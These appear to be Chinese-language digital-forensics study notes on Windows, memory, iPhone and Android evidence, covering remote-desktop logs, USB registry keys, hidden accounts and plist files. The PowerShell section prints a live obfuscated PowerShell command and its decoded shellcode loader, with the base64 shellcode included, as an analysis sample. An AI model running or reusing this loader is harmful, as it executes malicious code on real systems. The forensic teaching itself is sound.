  • ⑤消息通知:汇聚了设备通知、活动通知、服务通知三类核心信息

    img

  • ⑥设备列表: 在已登录且手动将识别码保存到设备列表的前提下,此处会显示常远程连接控制设备的识别码。
    img

向日葵日志分析【还原连接轨迹】

向日葵日志文件的 3 个存储目录,具体如下:

  • C:\Program Files\Oray\SunLogin\SunloginClient\log

    文件名 作用
    history 文件传输记录

    img

  • C:\Users%USERNAME%\AppData\Roaming\Oray\SunloginClient\log(核心连接日志)
    img

  • C:\Users%USERNAME%\AppData\Roaming\Oray\AweSun\log
    img

文件传输记录解析
  • 通过history.log查看部分内容。

    • 可以发给ai让它进行梳理,按照日期、用户 ID、操作类型、关键行为(传入文件)、操作时长整理为表格。

    • 示例

      2024-11-09 16:37:17    18***14 开始桌面控制(识别码方式)
      2024-11-09 16:38:54    18***14 桌面控制(识别码方式)    传入 K-Lite_Codec_Pack_1794_Standard.exe(K-Lite_Codec_Pack_1794_Standard.exe)
      2024-11-09 16:39:04    18***14 桌面控制(识别码方式)    传入 vs_BuildTools.exe(vs_BuildTools.exe)
      2024-11-09 16:39:50    18***14 桌面控制(识别码方式)    传入 Dism.zip(Dism.zip)
      2024-11-09 16:40:55    18***14 结束桌面控制(识别码方式)
      2024-11-09 16:43:55    18***12 开始桌面控制(识别码方式)
      2024-11-09 16:44:46    18***12 桌面控制(识别码方式)    传入 2e1957ebdb2b0fb25622a01410daeb7.jpg(2e1957ebdb2b0fb25622a01410daeb7.jpg)
      2024-11-09 16:44:46    18***12 桌面控制(识别码方式)    传入 7de84988a6b8a4d082c4daa4fd07cb1e.png(7de84988a6b8a4d082c4daa4fd07cb1e.png)
      2024-11-09 16:44:46    18***12 桌面控制(识别码方式)    传入 0b46f21fbe096b6361d9c11f09338744eaf8acb9.png(0b46f21fbe096b6361d9c11f09338744eaf8acb9.png)
      2024-11-09 16:44:58    18***12 结束桌面控制(识别码方式)
      2024-11-10 14:53:31    18***12 开始桌面控制(识别码方式)
      2024-11-10 14:54:51    18***12 桌面控制(识别码方式)    传入 我们走在大路上.doc(我们走在大路上.doc)
      2024-11-10 14:56:35    18***12 结束桌面控制(识别码方式)
      
      
  • 相对完整的记录信息则可在路径为“C:\Users\damon\AppData\Roaming\Oray\AweSun\log\file.20250808-113617.log(文件传输日志)”的文件中查询(remote_file.20250808-173720.log这类文件中也会记录文件传输信息)。

img

2) 连接日志文件分析: 连接日志文件以“shell+日期(年月日)+时间(时分秒)”格式命名,该文件完整记录了远程会话的核心交互数据。通过搜索特定关键字可精准定位关键操作痕迹与技术细节:例如,udpwrapper(UDP协议封装相关,反映网络传输底层逻辑)、P2PHelper/P2PStream/P2PAccepter(P2P连接相关组件,可追溯远程连接的建立方式与数据流转路径)、DragSender(明确指向文件传输行为,直接关联数据交互操作)。

img

操作日志

ToDesk

ToDesk操作页面

ToDesk操作页面(已登录)

①登录信息: 关联登录账号与设备列表,是直接锁定操作主体身份的关键,更是溯源“谁在远程操作”的核心依据。

img

连接设备列表信息

②被控端信息: “本机设备代码+临时密码”是设备被远程控制的重要凭证。其中,设备代码是唯一标记设备,结合日志能回溯历史连接的完整流程,包括设备何时被控制、由谁发起控制等关键信息。

③主控端信息:“远程设备代码+连接密码”与发起控制行为相对应,下拉可以显示历史连接信息。

历史连接远控设备

ToDesk日志分析

目前已梳理出ToDesk日志文件的 2 个存储目录,具体如下:

  • C:\Program Files\ToDesk\Logs

  • C:\Users%USERNAME%\AppData\Local\ToDesk\Logs

1) 配置文件解析: 默认存储路径为“C:\Program Files\ToDesk\config.ini”,对该文件进行解析,可提取本机设备代码,若用户是以手机号码完成登录操作的,还能从中获取关联的手机号码信息 ,助力取证场景下设备身份与用户账号关联分析。

img

配置文件内容

2) 连接记录解析: 默认存储路径为“C:\Users\用户名\AppData\Local\ToDesk\devlist_14723845.json”。对该JSON文件解析,能获取历史连接设备记录信息,除设备代码外,还可提取 UserId(用户标识 )、UserName(设备名 )等数据,助力还原设备远程连接历史。

devlist_14723845.json文件解析

3) 日志文件解析:

A. 通过解析“clientphqghume_2025_08_17.log”日志文件,可定位查本机远程控制其他主机的相关行为记录。具体可通过匹配关键词“Room createMuxRoom server”,提取出连接IP地址、设备标识等关键信息,其中“user”字段对应本机设备代码,“room”字段对应被远程控制的目标设备代码。

img

clientphqghume_2025_08_17.log 日志分析

B. 解析“servicephqghume_2025_08_17.log”日志文件,可排查本机被其他主机远程控制的相关行为记录。通过匹配关键词“tcp begin connect”,能够提取连接IP地址等关键信息,其中“myid”对应本机设备代码标识,“destid”对应发起控制的远程设备标识(端口为443的IP地址为官方服务器地址,通常可排除在实际控制端范围之外)。

img

servicephqghume_2025_08_17.log日志分析

远程控制工具(向日葵/ToDesk)重点分析登录信息、日志路径及连接记录,强调操作主体锁定和行为还原。

TrueCrypt

TrueCrypt 是一款曾广泛使用的 免费开源磁盘加密软件,主要用于对硬盘分区、U 盘、移动硬盘等存储设备进行高强度加密,以保护数据隐私和安全。

选择passware kit的Full Disk Encryption功能然后选择TrueCrypt,选择I have memory image
要解密的文件选择,如新建文本文档.txt,选择内存镜象如1.dmp
得到密码AES · Default后,将新建文本文档-unprotected.txt重命名为新建文本文档-unprotected.dmp,然后使用Arsenal Image Mounter将其挂载到电脑上。

windbg

分析蓝屏文件

  • 导入dmp镜像:file -> open dump file

  • !analyze -v
    #在windbg中输入
    

使用痕迹

最近访问文件

\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\

image-20251024010147183

hash取证

X-ways:找到某个md5为xxx的文件

  • 使用X-ways的磁盘快照功能
    image-20251024012802402

  • 显示哈希值,只要数字不为0那么就可以显示
    image-20251024205819824

  • 全选文件后,右键导出勾选hash即可。

  • 但是部分文件无法计算hash值原因如下

  • 原因类别 典型情况 是否能修复
    🧩 NTFS 压缩 (LZX/XPRESS) WindowsApps 目录下的 DLL、EXE 等(CompactOS) X-Ways 不支持原生 LZX → 无法读取内容
    🔐 EFS 加密文件 (Encrypting File System) 用户主目录、文档中带锁图标文件 需在原系统环境中解密后再取证
    🧱 Sparse files / Deduplicated files 系统还原点、卷影副本区、OneDrive 占位符 没有实际数据块可读取
    🧩 Alternate Data Stream (ADS) NTFS 附属流,部分无数据 只有主流(:stream)被算
    💾 系统锁定文件 / 被占用文件 Pagefile.sys, Hiberfil.sys, Registry hives 若只取逻辑镜像则无法完全访问
    📦 虚拟项目 (virtual objects) “Recovered Folders”, “File Slack”, “Free Space” 等 这些不是文件系统项,无哈希
    💡 文件大小为 0 空文件 哈希留空(或不计算)
    🧩 损坏的文件记录或坏簇 镜像中部分簇缺失 无法读取完整内容被跳过
    📁 符号链接 / Junction 指向其他路径的 reparse points 不单独计算
  • 这就需要我们把没有计算的文件导出我们进行计算

AXIOM:hash匹配

image-20251024222927812

会匹配所有证据,但效果不如X-ways。

浏览器取证

下载地址

  • 使用AXIOM查看
    image-20251024223556620

    tor浏览器基于firefox

访问历史(磁盘取证)

  • 使用AXIOM
    image-20251024230606763

网络活动(内存)

内存中极速浏览器最后浏览的网址的登录密码

  • 使用memprocFS(Web时间线)构建时间线,找到查看的网站

    image-20251025163529494

  • 记住对应网址:browser:[CHROME] type:[VISIT] url:[https://www.hdavchina.com/] info:[影音中国_高清、家庭影院、音响、电影、电视、音乐的专业影音网站]

  • 打开passware选择Memory Analysics恢复即可(注意仅勾选几个即可,不然特别耗时间)
    image-20251025164318330

  • 找到对应网站即可
    image-20251025170551935

个人信息取证

emal取证

邮件提取方法一

  • 过滤eml文件
    image-20251024213403337
  • 查看邮件内容
    image-20251024213645928

邮件提取方法二

  • 使用AXIOMimage-20251024213850476
  • 此外还提供了:收件人、发送人、接收时间等过滤选项

邮件编码

key value 说明
Content-Transfer-Encoding base64+xor(08) 指明邮件的编码方式,如这个就是base64编码和异或8

相关信息,可以使用010打开来查看。

image-20251024220400571 image-20251024220305686

磁盘信息取证

系统分区

类型 名称 功能 常见盘符
System Partition 启动分区(System Partition) 含有启动引导文件,例如 bootmgrEFIBCD 通常是 隐藏的 EFI 分区C: 前面的 100MB~500MB 分区
Boot Partition 系统分区(Boot Partition) 实际安装了 Windows 的分区(包含 Windows 目录) 通常是 C:

在标准 GPT/MBR 分区表中,系统卷通常:

类型 说明 大小 特征
EFI System Partition FAT32 100MB~500MB \EFI\Microsoft\Boot
Microsoft Reserved (MSR) 无文件系统 16MB 不可见
Windows 分区(系统盘) NTFS 数十GB Windows 目录
Recovery 分区 NTFS 500MB~2GB Recovery 目录

image-20251025001449862

卷序列号

image-20251025001535885

  • 分区开始第10个区域就是卷序列号
  • 由于是小端序存储,所以需要倒置D466CEF666CED7FE

结束扇区

图片

连接设备取证

U盘信息

目录:SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUM\

目录结构分段 英文含义与翻译 说明
SYSTEM 系统注册表根键 存储 Windows 系统级配置的核心注册表根键
ControlSet001 控制集 001 Windows 用于存储硬件、软件配置的集合,ControlSet001 是活动配置集之一
Enum 枚举(Enumeration) 用于枚举系统中所有硬件 / 软件设备,记录设备标识、驱动等信息
SWD 软件设备(Software Device) 用于管理 “软件定义的硬件设备”,如多媒体设备、可移动设备的逻辑识别
WPDBUSENUM Windows 可移动设备总线枚举(Windows Portable Devices Bus Enumeration) WPD 是 Windows Portable Devices 的缩写,负责可移动设备(如 U 盘、便携媒体设备)的总线级枚举与管理

image-20251025133644238

  • 信息解释

    名称 类型 说明
    (Default) REG_SZ (value not set) 默认注册表项,值未设置
    Capabilities REG_DWORD 0x00000080 (176) 设备功能标识,十六进制与十进制数值
    ContainerID REG_SZ 设备容器的全局唯一标识符(GUID),用于设备分组识别
    CompatibleIDs REG_MULTI_SZ wpdbusenumfs SWDXGeneric 设备兼容的标识列表,多字符串类型,说明设备兼容类别
    ClassGUID REG_SZ 设备类的全局唯一标识符(GUID),用于设备归类
    Driver REG_SZ {eec5ad98-8080-425f-922a-dabf3de3f69a}\0001 驱动实例路径,关联具体驱动配置
    Mfg REG_SZ Kingston 设备制造商,此处为金士顿(Kingston)
    Service REG_SZ WUDFWpdFs 设备对应的服务名称,用于加载设备服务
    ConfigFlags REG_DWORD 0x00000000 (0) 设备配置标志,十进制 0 表示默认配置
    DeviceDesc REG_SZ DataTraveler 3.0 设备描述,属于金士顿 DataTraveler 3.0 系列 U 盘
    FriendlyName REG_SZ xing120G 设备友好名称,可理解为用户或系统对设备的别名

进程取证

分析当前进程正在打开的照片

  • 使用lovelymem,dump出进程信息。
    image-20251025155802395

  • 查看dump出的进程表格名字
    image-20251025155852677

  • 给ai进行分析
    image-20251025155921903

  • 得到是Microsoft.Photos.exe,过滤查看图片(过程较慢耐心等待)
    image-20251025160136811

  • 执行后弹出一个对话框
    image-20251025160749290

    • 高度影响不大,一般设置为1000左右即可
    • 宽度影响很大,一般+1,-1进行分析,建议从1080开始往下分析
    • 偏移量影响很大,使用这个找到像素点聚集的地方。
  • 恢复成功后如下
    image-20251025161855539

寻找攻击者创建的隐藏账户

net user   			   #显示正常用户
net user username /del #删除username
net user username 	   #显示用户详细信息
net localgroup administrators #显示具有管理员权限的用户,可以查看到具有管理员权限的隐藏账户。  

方法一:命令寻找隐藏用户信息

net localgroup administrators #显示具有管理员权限的用户,可以查看到具有管理员权限的隐藏账户。  
net user username 	   #显示用户详细信息
用户名                 test$
全名
注释
用户的注释
国家/地区代码          000 (系统默认值)
帐户启用               Yes
帐户到期               从不

上次设置密码           2024/12/16 15:24:21
密码到期               2025/1/27 15:24:21
密码可更改             2024/12/16 15:24:21
需要密码               Yes
用户可以更改密码       Yes

允许的工作站           All
登录脚本
用户配置文件
主目录
上次登录               从不

可允许的登录小时数     All
本地组成员             *Administrators       *Users
全局组成员             *None
命令成功完成。

方法二:使用日志分析

  • Security日志过滤事件ID4720
    image-20251022234022418
  • 查看事件信息发现隐藏用户。
    image-20251022234156065

方法三:ForensicsTool

使用X-ways提取注册表信息,目录是\Windows\System32\config

然后把除了注册表文件外的其他目录删除,不然软件会报错。

image-20251022235424462

寻找恶意文件相关信息

方法一:火绒剑

  • 着重排查安全状态未知的文件
    image-20251022225910759
  • 通过网络模块确定文件本地和远程地址
    image-20251022230103492

方法二:火绒安全

  • 安装后自动扫描恶意文件
  • 查看隔离区
    image-20251022224921839

powershell取证

提交powershell命令中恶意文件的MD5

  • 打开事件查看器,等待它加载完日志
    image-20251022230244172

  • 应用程序和服务日志->Microsoft->Powershell->Operator

  • 追查执行远程命令的日志(一般这种命令会有-w hidden参数,来隐藏命令框)
    image-20251022231305307

  • 发现是base64和gz

    powershell -nop -w hidden -c '&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''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{0}'')-f''A'',''f'',''M'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))' 
    
  • 使用cyberchef解密

    image-20251022232713783

  • 解压后发现是个PowerShell 恶意代码加载器

    function tWk {		//获取系统 API 函数地址
            Param ($k0M, $ybp)
            $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    
            return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp))
    }
    
    function lVhI5 {	//动态定义委托类型
            Param (
                    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,
                    [Parameter(Position = 1)] [Type] $nZWM = [Void]
            )
    
            $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
            $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed')
            $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed')
    
            return $p8dl.CreateType()
    }
    
    [Byte[]]$tUZml = 		//恶意代码加载与执行流程	[System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
    [Uint32]$uKrz = 0
    $rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04)
    
    [System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
    if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
            $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero)
            [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null
    }
    
    
  • 分析后是在加载恶意shellcode,我们提取恶意的shellcode的base64编码,使用cyberchef解码得到木马。

  • 上传微步分析,得到md5等信息。

加密货币取证

  • 关键词:Cryptocurrency
  • 着重关注用户的各种笔记软件

webshell

寻找后门

  • D盾扫描
    image-20251021163952226
    image-20251021164148685

Windows内存取证

基本信息取证

MemProcFS-系统信息

包含信息如下:

  • windows information:computer name、Current Time(内存镜像制作时间)、BootTime、Time Zone、Version
  • Hardware Information:Architecture、Physical Memory、Max Address、CPU、MB Vendor、MB Product、BIOS Vendor、System Vendor
  • Users
  • Process Informative:Arctive、Inarctive
  • Network Intterfaces

进程信息取证

MemProcFS-进程信息

  • PID:进程ID,是操作系统为每个正在运行的进程分配的唯一标识符。0 号留给“Idle”进程,4 号永远是 System 进程。
  • PPID:父进程ID,表示创建当前进程的父进程的 ID。
  • State:进程状态,0 = Active(正在运行或就绪),1 = Terminated(进程对象还在,但已退出,ExitTime 有值)。
  • ShortName:进程的短名称,通常是进程对应的可执行文件的文件名,最长 15 字节。例如VeraCrypt.exe
  • Name:进程的完整名称,多数情况下与ShortName相同。
  • IntegrityLevel:完整性级别,描述进程的安全权限级别,如High表示高完整性级别,不同的完整性级别决定了进程对系统资源的访问和操作权限。
  • User:启动该进程的用户,例如SYSTEMLOCAL SERVICENETWORK SERVICE或具体的域名用户等,反映了进程的归属用户。
  • CreateTime:进程的创建时间
  • ExitTime
  • Wow64:0 = 原生 64 位进程,1 = 32 位进程跑在 WoW64 子系统。
  • EPROCESS:内核空间该进程的 EPROCESS 结构地址(64 位十六进制)。
  • PEB:进程环境块在用户态的虚拟地址(64 位进程),包含命令行、环境变量、加载模块列表信息。
  • PEB32:32 位进程环境块的地址,与PEB类似,但针对 32 位进程,在 64 位系统中区分 32 位和 64 位进程环境块信息。
  • DTB
  • UserDTB:如果开启 KPTI/Shadow PT,这里给用户态页目录;未开启则为 0。
  • UserPath:进程在用户空间的可执行文件路径
  • KerrnelPath:进程在内核空间的路径表示
  • CommandLine:启动进程时使用的完整命令行参数

iPhone取证

ipa文件是苹果的安装文件,类似apk

plist for windows工具

该工具可以打开plist文件,plist文件是苹果生态中“轻量级数据存储”的标准方案。

数据库和文本文件

文件名 存储信息
Applications.plist 安装程序信息,包含包名、包权限、安装需求等
info.plist 设备的基本信息、安装包的基本信息
Lockdown.plist 系统配置 / 状态属性列表(plist)文件
Manifest.plist 备份相关的配置 / 元数据字段

info.plist(备份文件)

image-20251001213722431

Unique Identifier:设备的唯一标识符(类似设备的 “身份证号”),用于在系统中唯一标记该设备。
Last Backup Date:最后一次备份的日期和时间(这里是2022-01-11 18:47:38),记录设备数据最后一次被备份的时间点。
Build Version:设备系统的内部构建版本(19C56),用于标识系统的具体编译版本。
Device Name:设备名称(iPhone),即用户给设备设置的名称,也可能是系统默认名称。
Display Name:显示名称(iPhone),和设备名称作用类似,用于在界面等场景展示设备标识。**
IMEI:国际移动设备识别码(359195070740324),是手机等移动设备的唯一硬件标识,用于网络识别等。**
ICCID:集成电路卡识别码,通常与 SIM 卡相关,用于标识 SIM 卡所属的运营商等信息(图中未完全展示具体内容)。
Product Type:产品类型(iPhone9,1),用于标识设备的具体型号,iPhone9,1通常对应 iPhone 7 等型号。
Product Version:产品版本(15.2),即设备运行的 iOS 系统版本。
Serial Number
:设备的序列号(F18V2BMLHG70),是设备生产时的唯一序列标识,可用于查询设备保修等信息。Phone Number:电话号码,即设备所使用 SIM 卡对应的电话号码。

info.plist(安装包)

包名、权限等

DTCompiler:苹果的 LLVM Clang 编译器
UIRequiredDeviceCapabilities:声明应用运行所需的设备能力,如架构信息
CFBundleInfoDictionaryVersionInfo.plist 文件自身的格式版本
DTPlatformVersion:指定应用所针对的 iOS 平台版本
UIUserInterfaceStyle:设置应用的用户界面风格,Light 表示应用使用浅色模式
CFBundleName:应用的显示名称,即用户在设备主屏幕、应用列表中看到的应用名称。
DTSDKName:指定应用开发时使用的 SDK(软件开发工具包)名称及版本
NSPhotoLibraryUsageDescription:当应用需要访问用户相册(照片库)时,系统会向用户显示的权限说明文字
UIViewControllerBasedStatusBarAppearance:用于控制状态栏外观是否由视图控制器(UIViewController)来管理。

Lockdown.plist

image-20251001214235963

  • SIM与基带相关
    SIMStatus:SIM卡状态,值为kCTSIMSupportSIMStatusNotInserted,表示未插入 SIM 卡。
    ActivationState:设备激活状态
    BasebandVersion:基带版本
    BasebandStatus:基带状态,BBInfoAvailable表示基带信息可以利用。
    MobileSubscriberCountryCode:移动用户所属国家代码
    BasebandChipID:基带芯片标识符

  • 硬件与芯片信息
    CPUArchitecture:CPU架构,如arm64
    DieID:芯片相关标识
    FirmwareVersion:固件版本,如iBoot-7429.62.1,iBoot是苹果设备的引导固件。
    ProductType:产品类型,如iPhone9.1,对应具体的iPhone型号
    DeviceClass:设备类别,如iPhone
    ChipSerialNo:芯片序列号
    ChipID:芯片标识符

  • 连接与标识
    HostAttached:是否连接主机,如电脑,true表示已经连接。
    WiFiAddress:WiFi地址,一般是设备网卡的MAC地址
    BluetoothAddress:蓝牙地址,一般是蓝牙模块的MAC地址
    SerialNumber:设备序列号,用于唯一标识识别和保修等
    protocolVersion:协议版本
    PairRecordProtectionClass:配对记录保护级别

  • 系统和功能
    ProductVersion:系统版本,15.2表示设备运行的IOS版本
    TelephonyCapabbility:电话功能支持
    TimeZone:时区,如Asia/Shanghai
    HardwareModel:硬件型号
    ModelNumber:型号编号

  • 其他关键项目
    PasswordProtected:密码保护
    NonVolatileRAM:RAM相关配置
    brickstate:设备 “变砖” 状态标识,因系统损坏、硬件故障、安全锁触发等原因,完全无法开机。
    activationstateacknowledged:设备激活状态确认

  • 设备关键唯一标识
    CertID:数字证书分配

Manifest.plist

BackupKeyBag:备份密钥包,确定备份文件只能被授权设备解密
Version:备份格式包
Date:备份时间
SystemDomainsVersion:系统域版本
ManifestKey:清单密钥,用于加密 / 解密备份 “清单文件。
WasPasscodeSet:是否设置了设备密码
Applications:安装的软件
isEncryted:是否加密

status.plist

IsFullBackup:
Version:
UUID:
Date:记录备份发生的日期或时间戳。
BackupState:表示备份的状态

Android取证

基础知识

分区

img

Data分区

擦除data分区就相当于执行恢复出厂设置

目录名称 目录介绍
/data/data// 存放应用程序数据,每个应用程序对应一个数据目录,例如谷歌Hangouts的应用数据存储在“/data/data/comgoogleandroid.talk/”目录下应用程序数据目录下还可以创建分别存储语音文件、缓存等的子目录。
/data/system/ 记录系统配置信息,包括锁屏模式、应用安装包列表密码哈希、设备位置经纬度等。
/data/misc/ 保存wifi账号和vpn等配置信息。
/data/app/ 用户程序的安装目录。

sdcard分区

在Android设备中,SD卡(Secure Digital Card)通常是指外部存储设备,用于扩展设备的存储容量。SD卡通常被分成多个分区,每个分区用于不同的目的。以下是一些常见的SD卡分区及其路径的介绍:

  • 外部存储路径(可移除SD卡), :
  • /mnt/sdcard, 或, /storage/emulated/0, :在旧版Android系统中,外部存储的根目录通常位于, /mnt/sdcard, 或, /storage/emulated/0, 路径下。这是可移除SD卡的挂载路径,它指向SD卡的根目录。然而,值得注意的是,从Android 4.2开始,Google引入了多用户功能,这些路径实际上指向了每个用户的私有存储空间。
  • 外部存储路径(内置SD卡), :
  • /storage/emulated/legacy, 或, /mnt/sdcard/legacy, :对于一些较早的设备,其内置的SD卡(可能不可移除)的根目录可以通过这些路径访问。这些路径在某些设备上可以找到,但并不适用于所有设备。
  • 外部存储的其他路径, :
  • /storage/emulated/, :从Android 4.2开始,外部存储路径被修改为指向每个用户的私有存储空间。, <user_id>, 是用户的ID标识,不同用户的ID不同,每个用户拥有自己的私有存储空间。
  • 其他常见路径, :
  • /storage/sdcard1, 或, /mnt/extSdCard, :在一些设备上,可能会有第二个SD卡槽,称为"外置SD卡",其挂载路径可能为, /storage/sdcard1, 或, /mnt/extSdCard, 。
  • /storage/UsbDriveA, 或, /mnt/usb_storage, :对于支持USB OTG(On-The-Go)的设备,连接外部USB存储设备后,其路径可能会出现在, /storage/UsbDriveA, 或, /mnt/usb_storage, 。

火眼类综合工具

基本信息取证

应用列表

  • 安装时间、最后一次升级时间

微信信息取证

  • 账户信息:微信内部ID、手机号
  • 通讯录:好友信息
  • 聊天记录
  • 文件传输

图片信息取证

  • OCR文字识别
  • 图片隐写

APK信息取证

解析对应apk数据

  • 包手机安装的app的信息发给ai

image-20251026130728989

  • 在模拟器内安装对应app,把app信息文件copy进去
  • 如果是xxx.bak信息,对应文件夹在/data/data/com.xxx.xxxx.xxx,重新打开即可解析。(会出现文件夹名不一样,观察文件夹内部文件来确定是属于哪个文件夹。)
    image-20251026133355871

签名信息

  • serial Number(序列号)

image-20251002002518392

IP信息

  • 服务器地址:http://xxxx.xxxxx,可能会进行编码和加密
  • 搜索URL等关键字

数据库加密密码

一些数据库如SQLite数据库存在一些加密,如SQLCipher3加密方式。我们需要逆向寻找加密密码,然后使用ForenncisTool解密即可。

  • 确定apk对应数据库名字
